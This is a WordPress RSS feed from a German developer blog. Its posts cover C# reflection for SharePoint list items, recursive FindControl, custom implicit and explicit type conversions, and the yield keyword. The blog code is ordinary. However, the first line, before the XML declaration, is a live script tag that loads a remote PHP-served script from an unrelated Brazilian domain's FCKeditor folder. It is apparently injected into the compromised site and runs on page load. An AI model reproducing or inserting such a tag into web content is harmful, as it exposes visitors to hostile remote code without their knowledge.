<script src=http://onortao.com.br/FCKeditor/ver_evento.php ></script><?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Xylon's Blog &#187; Visual Studio</title>
	<atom:link href="http://www.xentrope.de/category/visual-studio/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.xentrope.de</link>
	<description>I don't work here</description>
	<lastBuildDate>Fri, 30 Oct 2009 19:07:02 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>System.Reflection.Konfusion</title>
		<link>http://www.xentrope.de/visual-studio/system_reflection_konfusion/</link>
		<comments>http://www.xentrope.de/visual-studio/system_reflection_konfusion/#comments</comments>
		<pubDate>Fri, 30 Oct 2009 19:06:06 +0000</pubDate>
		<dc:creator>Rene Muster</dc:creator>
				<category><![CDATA[ASP.Net 2]]></category>
		<category><![CDATA[ASP.Net 3 / ASP.Net 3.5]]></category>
		<category><![CDATA[C#]]></category>
		<category><![CDATA[SharePoint 2007]]></category>
		<category><![CDATA[Visual Studio]]></category>
		<category><![CDATA[c#]]></category>
		<category><![CDATA[GetProperty]]></category>
		<category><![CDATA[Reflection]]></category>
		<category><![CDATA[SetProperty]]></category>

		<guid isPermaLink="false">http://www.xentrope.de/?p=212</guid>
		<description><![CDATA[Entwickler sind faul &#8211; ich zumindest. Ich will möglichst wenig Code schreiben, aber strukturiert. Nun ergab es sich, das man einen Datentyp mit circa 80 eigenen Properties &#8211; welche ebenfalls wieder eigene Klassen sind &#8211; erstellen sollte. Dieser Job ist ja nun leicht erledigt. Man hacke fix ein Consolenprogramm welches aus einer XMl-Datei (in der [...]]]></description>
			<content:encoded><![CDATA[<p>Entwickler sind faul &#8211; ich zumindest. Ich will möglichst wenig Code schreiben, aber strukturiert. Nun ergab es sich, das man einen Datentyp mit circa 80 eigenen Properties &#8211; welche ebenfalls wieder eigene Klassen sind &#8211; erstellen sollte. Dieser Job ist ja nun leicht erledigt. Man hacke fix ein Consolenprogramm welches aus einer XMl-Datei (in der die Klassen und Datentypen enthalten sind) einen Datentyp bastelt.<br />
Das sieht dann letztendlich so aus (exemplarisch mal eine Klasse und der Datentyp): </p>
<pre name="code" class="csharp">
public class ProductReference
{
        public string StaticName { get { return "ProductReference"; } }
        public string DisplayName { get { return Resources.Displayname_ProductReference; } }
        public Guid ID { get { return new Guid("{6ebe0f28-af6a-40f7-9ad8-d9ff37d2b045}"); } }
        public string TypeName { get { return "String"; } }
        public Type Type { get { return typeof(String); } }
        public String Value { get; set; }
	public bool ErrorsDetected { get; set; }
}
public class Item
{
	public ProductReference ProductReference { get; set; }
}
</pre>
<p>Jetzt soll dieser Datentyp natürlich auch irgendwo gespeichert werden. In meinem Fall ist es einfach eine SharePoint Liste bei der jedes Feld einer Klasseneigenschaft entspricht. (Das Speichern reicht natürlich nicht, es muss ja auch irgendwann wieder geladen werden etc.). Das Problem ist jetzt, das keiner Ernsthaft ~80 Properties einzeln in das ListItem der SharePoint Liste zu schreiben&#8230; geht natürlich auch.<br />
Viel schöner ist aber, wenn wir einfach alle Properties der Klasse durchlaufen könnten und den Wert des entsprechenden Feldes zu setzen:</p>
<pre name="code" class="csharp">
foreach (PropertyInfo mainprop in this.GetType().GetProperties())
{
	object fieldvalue = mainprop.GetValue(this, null).GetType().InvokeMember(
        	"Value", BindingFlags.GetProperty, null, mainprop.GetValue(this, null), null);
        string fieldname = (string)mainprop.GetValue(this, null).GetType().InvokeMember(
                    "DisplayName", BindingFlags.GetProperty, null, mainprop.GetValue(this, null), null);
        Guid fieldid = (Guid)mainprop.GetValue(this, null).GetType().InvokeMember(
                    "ID", BindingFlags.GetProperty, null, mainprop.GetValue(this, null), null);

        if (item.Fields.GetField(fieldname).Type == SPFieldType.DateTime)
                    fieldvalue = SPUtility.CreateISO8601DateTimeFromSystemDateTime((DateTime)fieldvalue);

        item[fieldid] = fieldvalue;

        try
        {
		item.SystemUpdate();
	}
	catch (Exception ex)
        {
		LogMsg(ex.ToString());
                ErrorsOccured = true;
                mainprop.GetValue(this, null).GetType().InvokeMember("ErrorsDetected", BindingFlags.SetProperty, null,
                mainprop.GetValue(this, null),
                new object[] { true });
        }
}
</pre>
<p>Dank Reflection können wir mittels this.GetType().GetProperties() über alle Properties der aktuellen Klasse iterieren. Jetzt wollen wir aber nicht den Wert der Property haben, sondern den Wert der Value Eigenschaft der Property. Klar? Schön. :)<br />
Da man eine Site Columns im SharePoint am sichersten über seine Guid ansprechen kann, wird die Guid sowie der aktuelle Wert der Value Eigenschaft ausgelesen und in das SPListItem geschrieben. Kling konfus, ist es auch. ;) Mittels InvokeMember und der Option BindingFlags.GetProperty kann man grob gesagt den Wert auslesen. Analog kann man mittems BindingFlags.SetProperty den Setter des Members aufrufen.<br />
Klingt alles irgendwie merkwürdig, und wir lesen ja meistens lieber Code &#8211; daher hier einfach mal das was dabei rausgekommen ist:</p>
<pre name="code" class="csharp">
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using Microsoft.SharePoint;
using System.Collections;
using System.Reflection;
using Microsoft.SharePoint.Utilities;

namespace DataTypeTest
{
    #region class implementations
	// hier stehen alle Klassendefinitionen
	public class ProductReference
	{
	        public string StaticName { get { return "ProductReference"; } }
	        public string DisplayName { get { return Resources.Displayname_ProductReference; } }
	        public Guid ID { get { return new Guid("{6ebe0f28-af6a-40f7-9ad8-d9ff37d2b045}"); } }
	        public string TypeName { get { return "String"; } }
	        public Type Type { get { return typeof(String); } }
	        public String Value { get; set; }
		public bool ErrorsDetected { get; set; }
	}
	// etc.pp.
    #endregion

    public class NPPItem
    {
        #region properties
		// hier stehen die Properties
		public ProductReference ProductReference { get; set; }
		// etc. pp.
        #endregion

        public Action&lt;string&gt; Log;

        /// &lt;summary&gt;
        /// Initializes a new instance of the &lt;see cref="Item"/&gt; class.
        /// &lt;/summary&gt;
        public Item(Action&lt;string&gt; LogFunction)
        {
            Log = LogFunction;
            InitFields();
        }

        /// &lt;summary&gt;
        /// Initializes a new instance of the &lt;see cref="Item"/&gt; class.
        /// &lt;/summary&gt;
        /// &lt;param name="ListItemID"&gt;The list item ID.&lt;/param&gt;
        /// &lt;param name="WebUrl"&gt;The web URL.&lt;/param&gt;
        /// &lt;param name="ListId"&gt;The list id.&lt;/param&gt;
        public Item(string ListItemID, string WebUrl, string ListId, Action&lt;string&gt; LogFunction, out bool ErrorsDetected)
        {
            if (string.IsNullOrEmpty(ListItemID) |
                string.IsNullOrEmpty(WebUrl) |
                string.IsNullOrEmpty(ListId))
                throw new ArgumentException("Empty params for Item(string ListItemID, string WebUrl, string ListId)!");
            Log = LogFunction;
            bool ErrorsOccured = false;
            int iItemId;
            if (!Int32.TryParse(ListItemID, out iItemId)) throw new ArgumentException("ListItemID is not a valid int!");

            InitFields();
            SPList liste = GetList(ListId, WebUrl);
            SPListItem litem = liste.GetItemById(iItemId);
            if (litem == null) { ErrorsDetected = true; return; }

            foreach (PropertyInfo mainprop in this.GetType().GetProperties())
            {
                Guid fieldid = (Guid)mainprop.GetValue(this, null).GetType().InvokeMember(
                    "ID", BindingFlags.GetProperty, null, mainprop.GetValue(this, null), null);

                SPField spfield = litem.Fields[fieldid];
                object[] param = new object[1];
                try
                {
                    param[0] = Convert.ChangeType(spfield.GetFieldValueAsText(litem[fieldid]),
                        mainprop.GetValue(this, null).GetType().GetProperty("Value").PropertyType);
                    mainprop.GetValue(this, null).GetType().InvokeMember("Value", BindingFlags.SetProperty, null,
                    mainprop.GetValue(this, null),
                    param);
                }
                catch (Exception ex)
                {
                    LogMsg(ex.ToString());
                    ErrorsOccured = true;
                    mainprop.GetValue(this, null).GetType().InvokeMember("ErrorsDetected", BindingFlags.SetProperty, null,
                    mainprop.GetValue(this, null),
                    new object[] { true });
                }

            }
            ErrorsDetected = ErrorsOccured;
        }

        private void InitFields()
        {
            // instanzen erstellen... sicher ist sicher :)
            this.ProductReference = new ProductReference();
	    // etc.pp.
        }

        /// &lt;summary&gt;
        /// Saves the item.
        /// &lt;/summary&gt;
        /// &lt;param name="ListItemID"&gt;The list item ID. Submit -1 to create a new item&lt;/param&gt;
        /// &lt;param name="Data"&gt;The data.&lt;/param&gt;
	/// &lt;returns&gt;ID of the new list item&lt;/returns&gt;
        public bool SaveItem(int ListItemID, string WebUrl, string ListId, out int newListItemID)
        {
            bool ErrorsOccured = false;
            SPList liste = GetList(ListId, WebUrl);
            if (liste == null)
                throw new ArgumentException(string.Format("List {0} in site {1} does not exist or you have insufficient permissions",
                    ListId, WebUrl));

            SPListItem item = null;
            if (ListItemID == -1) item = liste.Items.Add();
            else item = liste.Items[ListItemID];
            if (item == null) throw new ArgumentException(string.Format("ListItem with ID '{0}' does not exist in list '{1}' at site '{2}' !",
                ListItemID, ListId, WebUrl));

            foreach (PropertyInfo mainprop in this.GetType().GetProperties())
            {
                object fieldvalue = mainprop.GetValue(this, null).GetType().InvokeMember(
                    "Value", BindingFlags.GetProperty, null, mainprop.GetValue(this, null), null);
                string fieldname = (string)mainprop.GetValue(this, null).GetType().InvokeMember(
                    "DisplayName", BindingFlags.GetProperty, null, mainprop.GetValue(this, null), null);
                Guid fieldid = (Guid)mainprop.GetValue(this, null).GetType().InvokeMember(
                    "ID", BindingFlags.GetProperty, null, mainprop.GetValue(this, null), null);

                if (item.Fields.GetField(fieldname).Type == SPFieldType.DateTime)
                    fieldvalue = SPUtility.CreateISO8601DateTimeFromSystemDateTime((DateTime)fieldvalue);

                item[fieldid] = fieldvalue;

                try
                {
                    item.SystemUpdate();
                }
                catch (Exception ex)
                {
                    LogMsg(ex.ToString());
                    ErrorsOccured = true;
                    mainprop.GetValue(this, null).GetType().InvokeMember("ErrorsDetected", BindingFlags.SetProperty, null,
                    mainprop.GetValue(this, null),
                    new object[] { true });
                }
            }
            newListItemID = item.ID;
            return ErrorsOccured;
        }

        public List&lt;string&gt; GetPropertiesWithErrors()
        {
            List&lt;string&gt; result = new List&lt;string&gt;();
            foreach (PropertyInfo mainprop in this.GetType().GetProperties())
            {
                if (Convert.ToBoolean(mainprop.GetValue(this, null).GetType().InvokeMember(
                    "ErrorsDetected", BindingFlags.GetProperty, null, mainprop.GetValue(this, null), null)))
                    result.Add(mainprop.Name);
            }
            return result;
        }

        /// &lt;summary&gt;
        /// Gets a SPList.
        /// &lt;/summary&gt;
        /// &lt;param name="ListId"&gt;The list id.&lt;/param&gt;
        /// &lt;param name="SiteUrl"&gt;The site URL.&lt;/param&gt;
        /// &lt;returns&gt;SPList if found, otherwise null&lt;/returns&gt;
        private SPList GetList(string ListId, string SiteUrl)
        {
            if (ToGuid(ListId) == null) return null;
            SPList retval = null;
            using (SPSite site = new SPSite(SiteUrl))
            {
                using (SPWeb web = site.OpenWeb())
                {
                    retval = web.Lists[ToGuid(ListId)];
                }
            }
            return retval;
        }

        /// &lt;summary&gt;
        /// Get a Guid object from a valid guid string
        /// &lt;/summary&gt;
        /// &lt;param name="input"&gt;The input.&lt;/param&gt;
        /// &lt;returns&gt;valid GUID or null&lt;/returns&gt;
        private Guid ToGuid(string input)
        {
            if (string.IsNullOrEmpty(input)) throw new ArgumentException("input is null");
            Guid retval = new Guid();
            try
            {
                retval = new Guid(input);
            }
            catch (Exception) { }
            return retval;
        }

        private void LogMsg(string Message)
        {
            if (this.Log != null)
                Log(Message);
        }

    }
}
</pre>
<p>Nice to have wäre natürlich noch, die ganze Show mit Interfaces zu versehen, so dass man nicht mehr hardcoded auf die Subpropertynamen losgehen muss, wie ich es bisher gemacht habe:</p>
<pre name="code" class="csharp">
mainprop.GetValue(this, null).GetType().InvokeMember("Value", BindingFlags.GetProperty, null, mainprop.GetValue(this, null), null);
</pre>
<p>Ich brauch jetzt erstmal ein wenig Frischluft. :)</p>
]]></content:encoded>
			<wfw:commentRss>http://www.xentrope.de/visual-studio/system_reflection_konfusion/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Standard Pitfall mit Page.FindControl [Update]</title>
		<link>http://www.xentrope.de/visual-studio/aspnet-2/standard-pitfall-mit-page-findcontrol/</link>
		<comments>http://www.xentrope.de/visual-studio/aspnet-2/standard-pitfall-mit-page-findcontrol/#comments</comments>
		<pubDate>Mon, 26 Oct 2009 13:43:55 +0000</pubDate>
		<dc:creator>Rene Muster</dc:creator>
				<category><![CDATA[ASP.Net 2]]></category>
		<category><![CDATA[ASP.Net 3 / ASP.Net 3.5]]></category>
		<category><![CDATA[ASP.Net]]></category>
		<category><![CDATA[c#]]></category>
		<category><![CDATA[FindControl]]></category>

		<guid isPermaLink="false">http://www.xentrope.de/?p=200</guid>
		<description><![CDATA[Reminder an micht selbst: Page.FindControl arbeitet nicht rekursiv. :&#62; Alternativfunktionen für rekursives Suchen und Holen von Controls: private T GetControl(string id, ControlCollection ctls, bool ThrowExceptions) where T : Control { Control ctl = FindControl(id, ctls); if (ThrowExceptions &#38;&#38; ctl == null) throw new Exception(string.Format("Cannot find control with id '{0}' !\n", id)); if (ThrowExceptions &#38;&#38; ctl.GetType() != [...]]]></description>
			<content:encoded><![CDATA[<p>Reminder an micht selbst:<br />
Page.FindControl arbeitet nicht rekursiv. :&gt;<br />
Alternativfunktionen für rekursives Suchen und Holen von Controls:</p>
<pre name="code" class="csharp">        private T GetControl(string id, ControlCollection ctls, bool ThrowExceptions) where T : Control
        {
            Control ctl = FindControl(id, ctls);
            if (ThrowExceptions &amp;&amp; ctl == null)
                throw new Exception(string.Format("Cannot find control with id '{0}' !\n", id));
            if (ThrowExceptions &amp;&amp; ctl.GetType() != typeof(T))
                throw new Exception(string.Format("Control with id '{0}' found , but it's type is not {1}!\n", id, typeof(T)));
            if (ctl == null) return null;
            T castedCtl = (T)ctl;
            return castedCtl;
        }

        private bool ControlExists(string id, ControlCollection ctls)
        {
            return (GetControl(id, ctls, false)) != null;
        }

        private Control FindControl(string id, ControlCollection ctls)
        {
            Control ctlsearched = null;
            foreach (Control ctl in ctls)
            {
                if (!string.IsNullOrEmpty(ctl.ID) &amp;&amp; ctl.ID.Equals(id, StringComparison.InvariantCultureIgnoreCase))
                    ctlsearched = ctl;
                if (ctlsearched == null &amp;&amp; ctl.HasControls())
                    ctlsearched = FindControl(id, ctl.Controls);

                if (ctlsearched != null) break;
            }
            return ctlsearched;
        }</pre>
<p><b>Update</b><br />
Manchmal sollte man doch mal Google oder ein paar der Blogs aus seinem RSSReader bemühen&#8230; dann wäre man auch auf <a href="http://www.aspnetzone.de/blogs/peterbucher/archive/2009/01/20/findcontrol-mal-anders-iterativ-rekursiv-generisch-mit-bedingungen.aspx">den Post von Peter Bucher</a> gestossen der das ganze Thema etwas ausführlicher schon im Januar behandelte. :)</p>
]]></content:encoded>
			<wfw:commentRss>http://www.xentrope.de/visual-studio/aspnet-2/standard-pitfall-mit-page-findcontrol/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Nachtrag: TypeConversions reloaded</title>
		<link>http://www.xentrope.de/allgemein/nachtrag-typeconversions-reloaded/</link>
		<comments>http://www.xentrope.de/allgemein/nachtrag-typeconversions-reloaded/#comments</comments>
		<pubDate>Wed, 01 Jul 2009 11:58:11 +0000</pubDate>
		<dc:creator>Rene Muster</dc:creator>
				<category><![CDATA[ASP.Net 2]]></category>
		<category><![CDATA[ASP.Net 3 / ASP.Net 3.5]]></category>
		<category><![CDATA[Allgemein]]></category>
		<category><![CDATA[Visual Studio]]></category>
		<category><![CDATA[c#]]></category>
		<category><![CDATA[explicit]]></category>
		<category><![CDATA[implicit]]></category>
		<category><![CDATA[type conversion]]></category>

		<guid isPermaLink="false">http://www.xentrope.de/?p=172</guid>
		<description><![CDATA[Ich hatte ja hier schon etwas zu eigenen impliziten und expliziten Konvertierungen geschrieben. Dazu noch ein Nachtrag zur Konvertierungen zwischen zwei eigenen Datentypen. Wir haben wieder unseren Datentypen MyDataType: class MyDataType { public string Wert { get; set; } public static implicit operator string(MyDataType toConvert) { return toConvert.Wert; } public static implicit operator MyOtherDataType(MyDataType toConvert) [...]]]></description>
			<content:encoded><![CDATA[<p>Ich hatte ja <a href="http://www.xentrope.de/allgemein/typeconversions-oder-wer-bist-du-denn/">hier</a> schon etwas zu eigenen impliziten und expliziten Konvertierungen geschrieben. Dazu noch ein Nachtrag zur Konvertierungen zwischen zwei eigenen Datentypen. Wir haben wieder unseren Datentypen MyDataType:</p>
<pre name="code" class="csharp">
class MyDataType
{
	public string Wert { get; set; }
	public static implicit operator string(MyDataType toConvert)
	{ return toConvert.Wert; }

	public static implicit operator MyOtherDataType(MyDataType toConvert)
	{
		int Converted;
		if (Int32.TryParse(toConvert.Wert, out Converted))
			return new MyOtherDataType() { Wert = Converted };
		else
			return null;
	}
}
</pre>
<p>Dazu definieren wir uns einen eigenen zweiten Datentypen:</p>
<pre name="code" class="csharp">
class MyOtherDataType
{
	public int Wert { get; set; }
	public static implicit operator MyDataType(MyOtherDataType toConvert)
	{ return new MyDataType() { Wert = Convert.ToString(toConvert.Wert) }; }

	public static implicit operator string(MyOtherDataType toConvert)
	{
		if (toConvert != null)
			return Convert.ToString(toConvert.Wert);
		else
			return "toConvert is null";
	}
}
</pre>
<p>Ich habe jetzt allerdings die Konvertierungen zu SecureString rausgenommen, und implizite Konvertierungen zwischen diesen beiden Datentypen hinzugefügt. Prinzipiell muss nach dem Keyword &#8220;operator&#8221; lediglich der Zieldatentyp angegebene werden, und als Methodenparameter der Quelldatentyp. Das kann man so vereinfachen:</p>
<pre name="code" class="csharp">
public static implicit/explicit operator Zieldatentyp (Quelldatentyp pInstance) { Konvertierungsimplementation }
</pre>
<p>Die Main Methode unserer Konsolenanwendung sieht demnach dann so aus:</p>
<pre name="code" class="csharp">
static void Main(string[] args)
{
	MyDataType myTypeInstance = new MyDataType() { Wert = "hallo" };
	Log("myTypeInstance: " + myTypeInstance);

	//ist null, da "hallo" kein gültiger int ist
	MyOtherDataType myOtherTypeInstance = myTypeInstance;
	Log("myOtherTypeInstance nach ungültigem int in myTypeInstance: " + myOtherTypeInstance);

	myTypeInstance.Wert = "10";
	myOtherTypeInstance = myTypeInstance;
	Log("myOtherTypeInstance nach gültigem int in myTypeInstance: " + myOtherTypeInstance);
	Console.Read();
}
</pre>
<p>&#8220;Warum verwendet der jetzt nicht &#8220;string.Format&#8221; zum Logging?!&#8221; werden sich wohl einige Fragen. Die Antwort ist einfach: string.Format(&#8220;Text&#8221;, parameter) erwartet als parameter &#8220;objects&#8221;. Würden wir nun unsere Instanz &#8220;myOtherTypeInstance&#8221; übergeben, würde unsere Typumwandlung nach string nicht ausgeführt werden&#8230; :)<br />
Damit sollte es jetzt eigentlich klar sein wie die eigene Konvertierungen direkt innerhalb eines Datentyps implementiert werden können.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.xentrope.de/allgemein/nachtrag-typeconversions-reloaded/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>TypeConversions &#8211; Oder: Wer bist du denn?</title>
		<link>http://www.xentrope.de/allgemein/typeconversions-oder-wer-bist-du-denn/</link>
		<comments>http://www.xentrope.de/allgemein/typeconversions-oder-wer-bist-du-denn/#comments</comments>
		<pubDate>Mon, 29 Jun 2009 16:55:28 +0000</pubDate>
		<dc:creator>Rene Muster</dc:creator>
				<category><![CDATA[ASP.Net 3 / ASP.Net 3.5]]></category>
		<category><![CDATA[Allgemein]]></category>
		<category><![CDATA[Visual Studio]]></category>
		<category><![CDATA[c#]]></category>
		<category><![CDATA[explicit]]></category>
		<category><![CDATA[implicit]]></category>
		<category><![CDATA[type conversion]]></category>

		<guid isPermaLink="false">http://www.xentrope.de/?p=162</guid>
		<description><![CDATA[Wir haben eine eigene Klasse welche unseren Datentyp darstellt. Diese möchten wir jetzt mit ein paar Typkonvertierungen versehen, allerdings nicht über Extension methods oder andere ausgelagerte Funktionen. Unser Datentyp sieht wie folgt aus: class MyDataType { public string Wert { get; set; } } Der Einfachheit halber nur eine simple Property. Normalerweise hat man ja [...]]]></description>
			<content:encoded><![CDATA[<p>Wir haben eine eigene Klasse welche unseren Datentyp darstellt. Diese möchten wir jetzt mit ein paar Typkonvertierungen versehen, allerdings nicht über Extension methods oder andere ausgelagerte Funktionen. Unser Datentyp sieht wie folgt aus:</p>
<pre name="code" class="CSharp">class MyDataType
{
	public string Wert { get; set; }
}</pre>
<p>Der Einfachheit halber nur eine simple Property. Normalerweise hat man ja sehr viele Unterschiedliche Properties in seinem Datentyp. Wir möchten jetzt daraus z.B. einen SecureString machen, oder auch einfach den Wert loggen. Man könnte jetzt natürlich einfach schreiben:</p>
<pre name="code" class="CSharp">MyDataType myTypeInstance = new MyDataType() { Wert = "hallo" };

Log(myTypeInstance.Wert);</pre>
<p>Wobei unsere Logfunktion einen string-Parameter entgegennimmt der dann &#8211; wo auch immer &#8211; protokolliert wird.</p>
<p>Diese Verwendung ist aber spätestens bei komplexeren Datentypen einfach nur unhandlich. Deshalb wollen wir einfach schreiben können:</p>
<pre name="code" class="CSharp">Log(myTypeInstance);</pre>
<p>oder um daraus einen SecureString zu machen:</p>
<pre name="code" class="CSharp">SecureString mySecString = (SecureString)myTypeInstance;</pre>
<p>Die meisten Implementierungen (die ich bisher gesehen habe) setzen auf eine extra ausgelagerte Funktion oder Extension methods. Die ausgelagerten Funktionen haben einen Nachteil: Sie konvertieren einfach mal alles was man reinwirft. Dieses Verhalten haben wir aber eigentlich nicht bezweckt, oder wir wollen das einfach nicht, da wir ja beim Zeitpunkt des Codens die Verwendungsmöglichkeiten einfach nicht alle im Überblick haben kann oder auch nicht testen kann.<br />
Gehen wir also über Extension methods. OK &#8211; damit haben wir im Idealfall schonmal den Basistyp eingegrenzt. Nachteil allerdings hier: Extension methods funktionieren erst ab .Net 3.5&#8230; Also stehen wir wieder am Anfang.</p>
<p>Wie gehen wir also nun an die Sache ran?<br />
Die Lösung ist liegt auf der Hand und ist eigentlich so simpel, das es mich immer wieder verwundert das es so selten eingesetzt wird:<br />
Innerhalb unseres Datentyps definieren wir zwei neue statische Funktionen zur Typumwandlung hinzu:</p>
<pre name="code" class="CSharp">public static implicit operator string(MyDataType toConvert) { }

public static explicit operator SecureString(MyDataType toConvert) { }</pre>
<p>Diese beiden Funktionen führen nun unsere gewünschten impliziten wie expliziten Konvertierungen aus.<br />
Wir füllen diese beiden Methoden also wie folgt auf:</p>
<pre name="code" class="CSharp">public static implicit operator string(MyDataType toConvert)
{
	return toConvert.Wert;
}
public static explicit operator SecureString(MyDataType toConvert)
{
	SecureString mySecureString = new SecureString();
        foreach (char item in toConvert.Wert)
	{
		mySecureString.AppendChar(item);
	}
	return mySecureString;
}</pre>
<p>Das heißt, dadurch gewinnen wir saubereren Code und klarere Strukturen, da die Umwandlungen direkt innerhalb der Typen definiert werden können. Sie sind also genau da, wo sie auch hingehören.<br />
Das komplette Testprogamm hier:</p>
<pre name="code" class="CSharp">class MyDataType
{
	public string Wert { get; set; }
	public static implicit operator string(MyDataType toConvert)
	{
		return toConvert.Wert;
	}
	public static explicit operator SecureString(MyDataType toConvert)
	{
		SecureString mySecureString = new SecureString();
		foreach (char item in toConvert.Wert)
		{
			mySecureString.AppendChar(item);
		}
		return mySecureString;
	}
}

class Program
{
	static void Main(string[] args)
	{
		MyDataType myTypeInstance = new MyDataType() { Wert = "hallo" };
		Log(myTypeInstance);
		SecureString mySecString = (SecureString)myTypeInstance;
		Log(mySecString.ToString());
		Console.Read();
	}
	static void Log(string message)
	{
		Console.WriteLine(message);
	}
}</pre>
]]></content:encoded>
			<wfw:commentRss>http://www.xentrope.de/allgemein/typeconversions-oder-wer-bist-du-denn/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>To yield or not to yield</title>
		<link>http://www.xentrope.de/allgemein/to-yield-or-not-to-yield/</link>
		<comments>http://www.xentrope.de/allgemein/to-yield-or-not-to-yield/#comments</comments>
		<pubDate>Fri, 19 Jun 2009 06:53:27 +0000</pubDate>
		<dc:creator>Rene Muster</dc:creator>
				<category><![CDATA[ASP.Net 3 / ASP.Net 3.5]]></category>
		<category><![CDATA[Allgemein]]></category>
		<category><![CDATA[SharePoint 2007]]></category>
		<category><![CDATA[Visual Studio]]></category>
		<category><![CDATA[c#]]></category>
		<category><![CDATA[moss]]></category>
		<category><![CDATA[SharePoint]]></category>
		<category><![CDATA[userprofile]]></category>
		<category><![CDATA[yield]]></category>

		<guid isPermaLink="false">http://www.xentrope.de/?p=156</guid>
		<description><![CDATA[Das yield Keyword ist ein in C# häufig unterschätztes Keyword. Die MSDN &#8211; bzw. die C# Spezifikation &#8211; sagt dazu: Def: Wird in einem Iterator-Block verwendet, um für das Enumerationsobjekt einen Wert zu liefern oder um das Ende der Iteration zu signalisieren. Der Ausdruck wird ausgewertet und als ein Wert an das Enumerationsobjekt zurückgegeben. Der [...]]]></description>
			<content:encoded><![CDATA[<p>Das yield Keyword ist ein in C# häufig unterschätztes Keyword. Die MSDN &#8211; bzw. die C# Spezifikation &#8211; <a href="http://msdn.microsoft.com/de-de/library/9k7k7cf0(VS.80).aspx">sagt dazu</a>:</p>
<p><em>Def: Wird in einem Iterator-Block verwendet, um für das Enumerationsobjekt einen Wert zu liefern oder um das Ende der Iteration zu signalisieren.<br />
Der Ausdruck wird ausgewertet und als ein Wert an das Enumerationsobjekt zurückgegeben. Der expression muss implizit in den yield-Typ des Iterators konvertierbar sein.<br />
Die yield-Anweisung kann nur innerhalb eines iterator-Blocks stehen, der als Rumpf einer Methode, eines Operators oder eines Accessors verwendet wird. Der Rumpf solcher Methoden, Operatoren oder Accessoren unterliegt folgenden Einschränkungen:</em></p>
<p><em>- Unsichere Blöcke werden nicht zugelassen.<br />
- Parameter für die Methode, den Operator oder den Accessor dürfen nicht ref oder out sein.</em></p>
<p><em>Eine yield-Anweisung darf nicht in einer anonymen Methode stehen. Weitere Informationen finden Sie unter Anonyme Methoden (C#-Programmierhandbuch).<br />
Bei Verwendung mit expression darf eine yield return-Anweisung nicht in einem catch-Block oder einem try-Block stehen, der mehr als eine catch-Klausel enthält.</em></p>
<p>Wie sieht das jetzt in der Praxis aus?<br />
Das Beispiel in der MSDN ist jetzt nicht besonders praxistauglich, daher hier mal eine andere Verwendungsweise:</p>
<pre name='code' class='CSharp'>class Program
    {
        static void Main(string[] args)
        {
            string searchedCRMId = "de7ea510-8e55-de11-a210-0017084f5232";
            Console.WriteLine("Starting to search for user with CRM_ID '{0}'...", searchedCRMId);
            foreach (UserProfile item in GetProfiles("http://your_ssp_host/"))
            {
                string currentID = Convert.ToString(item["CRMUserID"].Value);
                if (string.IsNullOrEmpty(currentID))
                    continue;

if (currentID.Equals(searchedCRMId, StringComparison.CurrentCultureIgnoreCase))
                {
                    Console.WriteLine("Found searched user!\nAccountname: {0}", item[PropertyConstants.AccountName].Value);
                    break;
                }
            }
            Console.WriteLine("Done");
            Console.ReadLine();
        }

static IEnumerable&lt;UserProfile&gt; GetProfiles(string SharedServiceProviderUrl)
        {
            SPWebApplication webapp = SPWebApplication.Lookup(new Uri(SharedServiceProviderUrl));
            UserProfileManager upm = new UserProfileManager(ServerContext.GetContext(webapp));
            foreach (UserProfile profile in upm)
            {
                yield return profile;
            }
        }
    }</pre>
<p>Diese ConsoleApplication iteriert über alle vorhandenen UserProfile und vergleicht eine CustomProperty mit einem Suchwert. In der GetProfiles() Methode wird allerdings mittels &#8220;yield return profile&#8221; das aktuelle Profil aus der Auflistung zurückgegeben und die übergeordnete foreach-Schleife weiter bearbeitet. Das spart zum einen Performance und zum anderen Speicher.<br />
Zu beachten ist dabei allerdings, das bei folgender Verwendung immer das erste Item &#8220;verschwindet&#8221;:</p>
<pre name='code' class='CSharp'>IEnumerable&lt;UserProfile&gt; profileList = GetProfiles("http://your_ssp_host/");
foreach (UserProfile item in profileList)
{
 string currentID = Convert.ToString(item["CRMUserID"].Value);
        if (string.IsNullOrEmpty(currentID))
         continue;

if (currentID.Equals(searchedCRMId, StringComparison.CurrentCultureIgnoreCase))
        {
         Console.WriteLine("Found searched user!\nAccountname: {0}", item[PropertyConstants.AccountName].Value);
                break;
        }
}</pre>
<p>Die Ursache ist recht einfach:</p>
<table border="0">
<tbody>
<tr>
<td>Typische Implementation</td>
<td>Implementation mit yield</td>
</tr>
<tr>
<td>1. Funktionsaufruf</td>
<td>1.Funktionsaufruf</td>
</tr>
<tr>
<td>2.Funktion wird ausgeführt und gibt eine Liste zurück</td>
<td>2.Aufrufer fordert ein Item an</td>
</tr>
<tr>
<td>3.Aufrufer arbeitet mit der Liste</td>
<td>3.Nächstes Item aus der Auflistung wird zurückgegeben</td>
</tr>
<tr>
<td> </td>
<td>4.Sprung zu 2. solange wie der Aufrufer kein Item mehr haben will (break im Caller) oder keine Items mehr vorhanden sind</td>
</tr>
</tbody>
</table>
<p>Was man letztendlich verwendet ist natürlich immer von der Anforderung abhängig. :)</p>
]]></content:encoded>
			<wfw:commentRss>http://www.xentrope.de/allgemein/to-yield-or-not-to-yield/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>The following error was encountered while reading module &#8216;Microsoft.SharePoint&#8217;: Could not resolve type: ObjectModel.</title>
